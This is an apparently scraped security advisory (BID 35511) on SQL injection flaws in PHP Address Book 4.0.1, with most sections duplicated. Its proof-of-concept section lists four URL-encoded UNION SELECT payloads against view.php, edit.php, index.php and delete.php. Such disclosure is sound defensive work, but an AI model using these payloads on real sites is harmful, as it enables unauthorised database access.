PHP Address Book Multiple SQL Injection Vulnerabilities
BID:35511
Info
PHP Address Book Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 35511 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2565 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 26 2009 12:00AM |
| Updated: | Apr 18 2013 01:59PM |
| Credit: | YEnH4ckEr |
| Vulnerable: |
PHP-Address Book PHP-Address Book 4.0.1 |
| Not Vulnerable: | |
Discussion
PHP Address Book Multiple SQL Injection Vulnerabilities
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP Address Book 4.0.1 is vulnerable; other versions may also be affected.
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP Address Book 4.0.1 is vulnerable; other versions may also be affected.
Exploit / POC
PHP Address Book Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
]http://www.example.com/[PATH]/view.php?id=-999%27+union+select%201,@@version,3,4,5,6,7,8,9,10,11,12,13,14%23
http:///www.example.com//[PATH]/edit.php?id=-1%27+union+select%201,@@version,user(),4,5,6,7,8,9,10,11,12,13,14%
http:///www.example.com//[PATH]/index.php?alphabet=-1%27+union+all+select+1,2,user(),4,5,6,7,8,9,10,11,12,13,14%23
http:///www.example.com/[PATH]/delete.php?id=-1+UNION+ALL+SELECT+1,@@version,user(),4,5,6,7,8,9,10,11,12,13,14%23
Attackers can use a browser to exploit these issues.
The following example URIs are available:
]http://www.example.com/[PATH]/view.php?id=-999%27+union+select%201,@@version,3,4,5,6,7,8,9,10,11,12,13,14%23
http:///www.example.com//[PATH]/edit.php?id=-1%27+union+select%201,@@version,user(),4,5,6,7,8,9,10,11,12,13,14%
http:///www.example.com//[PATH]/index.php?alphabet=-1%27+union+all+select+1,2,user(),4,5,6,7,8,9,10,11,12,13,14%23
http:///www.example.com/[PATH]/delete.php?id=-1+UNION+ALL+SELECT+1,@@version,user(),4,5,6,7,8,9,10,11,12,13,14%23
Solution / Fix
PHP Address Book Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHP Address Book Multiple SQL Injection Vulnerabilities
References:
References:
- PHP Address Book Homepage (PHP Address Book)